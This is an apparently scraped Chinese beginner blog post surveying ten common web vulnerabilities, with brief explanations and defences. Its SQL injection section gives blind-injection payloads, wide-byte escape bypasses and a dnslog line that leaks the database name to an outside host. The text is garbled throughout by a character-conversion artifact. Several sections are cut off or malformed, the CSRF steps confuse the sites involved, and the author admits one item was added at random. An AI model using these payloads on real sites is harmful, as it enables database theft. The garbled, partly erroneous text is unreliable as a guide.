隨著網(wǎng)絡(luò)的發(fā)展,現(xiàn)在各行各業(yè)也都建立起了自己的網(wǎng)絡(luò)服務(wù),這雖然使得廣大的人民群眾能更好的認(rèn)識(shí)這家公司,但也會(huì)吸引各個(gè)攻擊者的注意力。
而大多數(shù)的企事業(yè)單位都會(huì)建立屬于自己的門戶網(wǎng)站或?yàn)榱吮憷诜?wù)器上部署各種工具(如“OA”),但豈能料到,正是因?yàn)檫@些網(wǎng)站使得自己面臨著巨大的網(wǎng)絡(luò)安全威脅(如常見的信息泄露等)。
在信息安全中最為常見的就是web安全,今天就由我來為各位介紹web安全排行榜中位列前10的安全漏洞。
目錄
1.sql注入
2.失效的身份認(rèn)證和會(huì)話管理
3.跨站腳本攻擊(xss)
4. 安全配置錯(cuò)誤
5. 敏感信息泄露
6. 訪問控制
7. 跨站請(qǐng)求偽造(CSRF)
8.使用已知漏洞的組件
9.未驗(yàn)證的重定向和轉(zhuǎn)發(fā)
10. 文件上傳漏洞(這是我實(shí)在想不起來了就隨便加了個(gè))
1.sql注入
1.1 介紹:
????????sql注入是最為常見也是破壞力最大的漏洞,它是因?yàn)殚_發(fā)在開發(fā)時(shí)沒有對(duì)用戶的輸入行為進(jìn)行判斷和過濾,使得用戶輸入了惡意語句后傳給了后端數(shù)據(jù)庫進(jìn)行相應(yīng)的動(dòng)作(如增刪改查)。
1.2 分類(這里為了節(jié)省篇幅使用的是執(zhí)行效果分類):
1.2.1 盲注:
????????盲注不是太適合剛上手就進(jìn)行的操作,它花費(fèi)的時(shí)間與精力要遠(yuǎn)大于其他類型的注入,并且被管理員發(fā)現(xiàn)的可能性很高;但是它適配絕大多數(shù)的注入點(diǎn)。
????????盲注分為bool盲注、時(shí)間盲注、dnslog盲注。
1.2.1.1 布爾盲注(bool)
?????????這個(gè)是以所回顯的內(nèi)容的不同作為判斷依據(jù)。
?語法:
id=1 and 1=1
id=2 and 1=2
id=1 and user()='root@localhost'
1.2.1.2 時(shí)間盲注
????????這個(gè)是以所回顯內(nèi)容的時(shí)長來作為判斷依據(jù)的
語法:
id=1 and sleep(2)
id=1 and if((substr((select user()),1,1)='r'),sleep(2),1)
1.2.1.3 dnslog盲注
????????這個(gè)注入有個(gè)缺點(diǎn),就是對(duì)方服務(wù)器必須是windows系統(tǒng)還得是root權(quán)限,secure_file_priv為空
語法:
id=2 and 1=(selectload_file(concat('\\\',hex(database()),'.rly7j0.dnslog.cn
1.2.2 報(bào)錯(cuò)注入:
????????報(bào)錯(cuò)注入就是利用數(shù)據(jù)庫的機(jī)制來人為的制造錯(cuò)誤條件,使得查詢結(jié)果能回顯到報(bào)錯(cuò)信息中。
?????????報(bào)錯(cuò)注入有十種,但是我自己常用的只有三種,分別是:floor、updatexm、extractvalue。
1.2.2.1 floor報(bào)錯(cuò)注入
?????????這種報(bào)錯(cuò)注入就是利用數(shù)據(jù)庫主鍵不能重復(fù)的原理,使用GROUP BY分組,產(chǎn)生主鍵冗余,從而導(dǎo)致報(bào)錯(cuò)。
聯(lián)合查詢;
堆疊注入;
1.2.5 寬字節(jié)注入:
寬子節(jié)注入的編碼是相對(duì)于ascll碼這樣的單子節(jié)而言的,像GB2312、GBK這類就是常說的寬字節(jié),實(shí)際上只有兩個(gè)字節(jié);
GBK是一種多字符的編碼方式,一個(gè)通過GBK進(jìn)行編碼的漢字占兩個(gè)字節(jié);而通過utf-8編碼的漢字則占3個(gè)字節(jié);
而mysql為了應(yīng)對(duì)這類注入就引入了轉(zhuǎn)義函數(shù)的機(jī)制,如對(duì)特殊的字符加上反斜杠進(jìn)行轉(zhuǎn)義;mysql還有addslashes,mysql_real_escape_string等;
以php客戶端為例,客戶端輸入數(shù)據(jù)后若php沒有進(jìn)行過編碼修改則會(huì)通過默認(rèn)的編碼方式來生成sql語句傳遞給服務(wù)器,而php沒有開啟default_charse時(shí),編碼方式默認(rèn)為空?;
數(shù)據(jù)庫收到所傳遞的信息后會(huì)對(duì)sql語句進(jìn)行解碼,然后再使用系統(tǒng)變量character_set_connection進(jìn)行十六進(jìn)制編碼,當(dāng)sql語句執(zhí)行完后則會(huì)通過character_set_results進(jìn)行編碼輸出
????????寬字節(jié)注入指的是mysql數(shù)據(jù)庫在使用寬字符(GBK)編碼時(shí)會(huì)默認(rèn)兩個(gè)字符時(shí)一個(gè)漢字,而當(dāng)客戶端輸入單引號(hào)時(shí),mysql會(huì)調(diào)用轉(zhuǎn)移函數(shù),將單引號(hào)變?yōu)?\,其中\(zhòng)的十六進(jìn)制是%5c,mysql的GBK編碼會(huì)認(rèn)為%df%5c是一個(gè)寬字節(jié),也就是'運(yùn)‘,從而使得單引號(hào)閉合,進(jìn)行了注入攻擊
數(shù)據(jù)大致變化過程:
%df%27==>(過濾函數(shù))==>%df%5c%27==>(GBK)==>結(jié)果
二次注入;
注:因?yàn)樾【幾约呵岸螘r(shí)間有事加上電腦又為了做論文重置過所以現(xiàn)在電腦上的工具、環(huán)境及靶場是基本清零,所以這篇文章基本上就是大致的介紹文,至于實(shí)踐過程需要過段時(shí)間小編把電腦配置好了再增加上去或者從新開篇做,請(qǐng)各位諒解,謝謝。
1.3 sql注入bypass
????????記得去年的時(shí)候有個(gè)工具就是專門用來bypass的,當(dāng)時(shí)還下來試了一下,結(jié)果現(xiàn)在忘了叫啥了,哈哈哈...
????????現(xiàn)在的環(huán)境,sql注入bypass基本上就是老的能用的已經(jīng)很少了,新的對(duì)環(huán)境的要求又有點(diǎn)高,好用的在別人手上,難用的都在自己手上...
bypass基本有以下幾種:
字符串拼接:
'1'||'2'
'1'+'2'
'1'\|\|'2'
1' '2'
concat('1','2')
2.失效的身份認(rèn)證和會(huì)話管理
2.1 介紹:
????????開發(fā)人員在進(jìn)行web程序開發(fā)的時(shí)候,有些開發(fā)人員因?yàn)槟承┰蚓椭荒荜P(guān)注web應(yīng)用程序的功能,從而忽視了一些安全問題,所以就會(huì)出現(xiàn)建立自定義的認(rèn)證和會(huì)話方案。但是這些方案的實(shí)現(xiàn)上卻往往有著漏洞的出現(xiàn),如:推出、密碼管理、超時(shí)、密碼找回、賬戶更新等;
????????這類漏洞大多屬于邏輯漏洞,最長出現(xiàn)的地方就是登錄界面哪里以及url哪里????????
2.2 舉列:
????????用戶A登錄了某個(gè)web界面,而那個(gè)界面登錄后的url為:
????????http://www.xxxx.com/user/a;jsessionid=12345678?name=123d
????????這時(shí)用戶A在沒有退出的情況下直接關(guān)閉了瀏覽器并且將該url發(fā)給了用戶B,當(dāng)用戶B進(jìn)入該url后就能直接行使用戶A的權(quán)限,那么這里就時(shí)url中泄露了會(huì)話id并且因?yàn)樵搘eb程序支持url重寫就導(dǎo)致了用戶B能直接登錄上用戶A的賬號(hào)并行使相應(yīng)的權(quán)限。
2.3 修復(fù)方式:
(1)限制區(qū)域;
(2)使用密碼有效期;
(3)禁用用戶;
(4)不要存儲(chǔ)用戶密碼;
(5)傳輸過程對(duì)數(shù)據(jù)進(jìn)行加密傳輸;
(6)對(duì)身份驗(yàn)證cookie進(jìn)行加密;
(7)限制會(huì)話時(shí)長;
(8)避免未授權(quán);
3.跨站腳本攻擊(xss)
3.1 介紹:
????????xss攻擊就是攻擊者構(gòu)建了一個(gè)惡意代碼然后在漏洞存在的網(wǎng)站進(jìn)行了傳輸,當(dāng)其他用戶訪問該網(wǎng)站或者點(diǎn)擊功能點(diǎn)時(shí)就會(huì)自動(dòng)觸發(fā)該惡意代碼然后達(dá)到攻擊目的。
3.2 分類:
3.2.1 反射性xss:
????????這類攻擊沒有什么實(shí)際上的作用
3.2.2 存儲(chǔ)性xss:
????????這類攻擊要比反射性xss的危害性高的多,往往可以配合其他攻擊手法進(jìn)行擴(kuò)大
3.2.3 DOM型xss:
????????這類攻擊是不需要服務(wù)端的參與,往往是瀏覽器的dom解析來觸發(fā),純純的客戶端的事
3.3 防御:
(1)使用跨站腳本過濾器(xss filter)來分析用戶提交的數(shù)據(jù)中是否可能存在惡意代碼或腳本;
(2)輸入過濾:
? ? ? ? 輸入中是否有違法字符;
? ? ? ? 輸入字符是否超出最大長度限制;
? ? ? ? 輸入數(shù)字是否是規(guī)定范圍內(nèi)的;
? ? ? ? 若輸入框中規(guī)定了特殊格式要求則需要建立規(guī)則來防止進(jìn)行其他的攻擊;
(3)特殊字符進(jìn)行轉(zhuǎn)碼或編碼操作
(4)黑白名單
4. 安全配置錯(cuò)誤
4.1 介紹:
????????該漏洞通常是由于開發(fā)人員的疏忽導(dǎo)致了某些安全配置不當(dāng)或者使用默認(rèn)配置從而導(dǎo)致了漏洞的觸發(fā)
4.2 防御:
(1)配置所有的安全機(jī)制
(2)使用簡易化,將不使用的服務(wù)關(guān)閉
(3)更改賬戶默認(rèn)信息
(4)回顯信息不顯示與實(shí)際錯(cuò)誤無關(guān)的信息
5. 敏感信息泄露
5.1 介紹:
????????該漏洞是因?yàn)楣芾砣藛T或者技術(shù)人員因?yàn)槟承┰驅(qū)е铝嗣舾行畔⑿孤?。這類漏洞常常會(huì)被黑產(chǎn)組織收集起來然后對(duì)公民個(gè)人信息進(jìn)行侵害從而達(dá)到盈利的目的。
5.2 攻擊方式(簡單):
????????使用工具進(jìn)行挖掘,好比爬蟲等可以掃描敏感文件、目錄從而照到敏感數(shù)據(jù);
手工挖掘,查看web容器或者網(wǎng)頁源代碼,從中分析出可能存在的敏感信息。(如目錄等)
5.3 防御:
????????加強(qiáng)員工的安全意識(shí)并且對(duì)用戶的信息進(jìn)行加密。
6. 訪問控制
6.1 介紹:
????????大多數(shù)web應(yīng)用程序的功能在頁面顯示之前會(huì)驗(yàn)證用戶能訪問的權(quán)限級(jí)別。但要是請(qǐng)求沒有被驗(yàn)證權(quán)限,那么攻擊者就能偽造請(qǐng)求來達(dá)到未授權(quán)訪問。
6.2 攻擊手法(簡易)
????????非法用戶以某種手段來對(duì)本應(yīng)該是有權(quán)限的用戶才能訪問的頁面進(jìn)行訪問(且能進(jìn)行有權(quán)限的用戶的操作)。
6.3 防御措施:
(1)對(duì)應(yīng)用權(quán)限進(jìn)行嚴(yán)格的篩查,對(duì)每個(gè)url和請(qǐng)求進(jìn)行效驗(yàn)和權(quán)限認(rèn)證;
(2)對(duì)每個(gè)功能點(diǎn)的訪問都要明確的角色授權(quán),采取過濾器的方式進(jìn)行簡易校驗(yàn);
(3)實(shí)現(xiàn)web訪問的ip黑白名單列表,禁止危險(xiǎn)ip訪問;
7. 跨站請(qǐng)求偽造(CSRF)
7.1 介紹:
????????CSRF全名叫cross-site request forgery,它能使攻擊者冒充你的身份并且以你的名義進(jìn)行惡意請(qǐng)求發(fā)送,這對(duì)服務(wù)器來說該請(qǐng)求是合法的,但卻達(dá)到了攻擊者所需求的操作。
7.2 攻擊手法(簡易)
(1)網(wǎng)站A、用戶B與網(wǎng)站C;
(2)當(dāng)用戶B訪問網(wǎng)站A時(shí),輸入用戶與密碼后并發(fā)送請(qǐng)求進(jìn)行登錄;
(3)用戶信息通過驗(yàn)證后,網(wǎng)站A將cookie信息返回給了瀏覽器,此時(shí)用戶登錄網(wǎng)站A成功,就能正常的發(fā)送請(qǐng)求給網(wǎng)站A了;
(4)當(dāng)用戶因?yàn)槟承┦滦枰L問網(wǎng)站C時(shí),在退出網(wǎng)站A之前,在同一個(gè)瀏覽器中打開了一個(gè)新標(biāo)簽去訪問網(wǎng)站C;
(5)當(dāng)網(wǎng)站B接收到了用戶請(qǐng)求后,會(huì)返回一些攻擊性代碼,并且發(fā)送一個(gè)請(qǐng)求要求訪問第三方站點(diǎn)A;
(6)瀏覽器接收到這些攻擊代碼后,則會(huì)根據(jù)網(wǎng)站C的請(qǐng)求,在用戶不知情的情況下攜帶cookie,向網(wǎng)站A發(fā)送請(qǐng)求。此時(shí)網(wǎng)站A并不知道該請(qǐng)求其實(shí)是由C發(fā)送的,所以會(huì)根據(jù)用戶B的cookie以B的權(quán)限進(jìn)行處理,從而導(dǎo)致網(wǎng)站C的惡意代碼被執(zhí)行。
7.3 分類:
get和post型。
7.4 防御手段:
(1)驗(yàn)證HTTP Referer字段。
(2)在請(qǐng)求地址中添加token并且驗(yàn)證。
(3)在重要功能中添加二次驗(yàn)證。
8.使用已知漏洞的組件
8.1 介紹:
????????因?yàn)閭€(gè)別程序員對(duì)安全的忽視從而導(dǎo)致了它們所做出來的程序中的組件和庫可能是曾經(jīng)出過漏洞的版本,這樣就會(huì)直接使最后做出來的程序產(chǎn)生對(duì)應(yīng)的歷史漏洞;
8.2 攻擊手法(簡易):
????????直接使用網(wǎng)上已有的POC進(jìn)行探測然后在使用EXP進(jìn)行攻擊即可
8.3 防御措施:
(1)及時(shí)更新所使用的組件和庫的版本;
(2)及時(shí)關(guān)注所使用的組件和庫的漏洞;
(3)建立完善的網(wǎng)絡(luò)安全審核制度,對(duì)項(xiàng)目所使用的組件進(jìn)行歷史漏洞審核;
(4)盡量以最小化進(jìn)行封裝,對(duì)易受攻擊的地方進(jìn)行封禁;
9.未驗(yàn)證的重定向和轉(zhuǎn)發(fā)
9.1 介紹:
(1)重定向簡單的理解就是,當(dāng)客服端第一次訪問服務(wù)器時(shí),服務(wù)器會(huì)返回一個(gè)狀態(tài)碼告訴瀏覽器去訪問一個(gè)新的地址,而這個(gè)地址的url與第一次訪問時(shí)是不一樣的;
(2)轉(zhuǎn)發(fā)就是當(dāng)客戶端將請(qǐng)求發(fā)給服務(wù)端后,服務(wù)器內(nèi)部將這個(gè)請(qǐng)求轉(zhuǎn)發(fā)給了另一個(gè)資源,然后將另一個(gè)資源的url所響應(yīng)的內(nèi)容再讀取回來,最后通過原來所訪問的url返回給客戶端,而這一轉(zhuǎn)發(fā)是在服務(wù)器內(nèi)部進(jìn)行的,所以客戶端并不知道服務(wù)器所發(fā)送的內(nèi)容到底是來自哪里(因?yàn)樗膗rl還是原來的那個(gè));
9.2 區(qū)別:
因?yàn)橹囟ㄏ蚴菫g覽器向服務(wù)器發(fā)送一個(gè)請(qǐng)求并響應(yīng)后再次向一個(gè)新地址發(fā)出請(qǐng)求,所以是發(fā)送了兩次請(qǐng)求,且兩個(gè)地址并沒有進(jìn)行資源共享;
而轉(zhuǎn)發(fā)則是瀏覽器向服務(wù)器發(fā)送一個(gè)請(qǐng)求并響應(yīng)后再將該請(qǐng)求轉(zhuǎn)發(fā)給另一個(gè)資源點(diǎn),然后將第二個(gè)資源點(diǎn)所響應(yīng)的內(nèi)容讀取到第一個(gè)資源點(diǎn),最后原路返回給瀏覽器,所以這連個(gè)地址是進(jìn)行了資源共享的;
9.3 防御措施:
(1)重定向外部網(wǎng)站需要驗(yàn)證是否在黑白名單內(nèi);
(2)對(duì)內(nèi)部網(wǎng)站轉(zhuǎn)發(fā)要進(jìn)行權(quán)限驗(yàn)證,有權(quán)限的才能進(jìn)行操作;
10. 文件上傳漏洞(這是我實(shí)在想不起來了就隨便加了個(gè))
10.1 介紹:
????????開發(fā)人員在進(jìn)行開發(fā)時(shí),沒有對(duì)客戶端所上傳的文件進(jìn)行嚴(yán)格的驗(yàn)證和過濾;
10.2 攻擊手法(簡易):
(1)JS前端檢測繞過:
????????使用瀏覽器的插件,對(duì)檢測文件后綴的JS代碼進(jìn)行刪除,然后就能進(jìn)行繞過了;
(2)文件后綴繞過:
????????使用抓包軟件,將請(qǐng)求包中的文件后綴修改了;
(3)文件類型繞過:
????????使用抓包軟件,將請(qǐng)求包中的Content-Type值修改一下就ok了;
(4)文件截?cái)嗬@過:
????????這玩意兒有點(diǎn)雞肋,它必須在PHP<5.3.4且magic_quotes_gpc為off狀態(tài)時(shí)才能進(jìn)行;
????????就是將請(qǐng)求包中的get參數(shù)截?cái)嗟膬?nèi)容作為上傳文件名的第一部分,然后將按時(shí)間生成的文件名作為第二部分;
(5)條件競爭:
????????這個(gè)就類似于打時(shí)間差的戰(zhàn)術(shù),它利用了文件上傳檢測機(jī)制檢查后判定是否上傳成功和刪除文件之間的那一小段時(shí)間中完成攻擊;
10.3 防御措施:
(1)使用黑白名單進(jìn)行過濾;
(2)對(duì)上傳成功的文件進(jìn)行重命名;
(3)在服務(wù)器端加裝WAF;文章來源:http://www.zghlxwxcb.cn/news/detail-413833.html
好了,這篇就寫到這里吧,我個(gè)人也是因?yàn)槟承┦碌⒄`了很久所以導(dǎo)致現(xiàn)在無論技術(shù)還是文筆上越來越差,要是發(fā)現(xiàn)哪里不對(duì)或者不連通請(qǐng)各位見諒。文章來源地址http://www.zghlxwxcb.cn/news/detail-413833.html
到了這里,關(guān)于信息安全入門——top10漏洞介紹的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!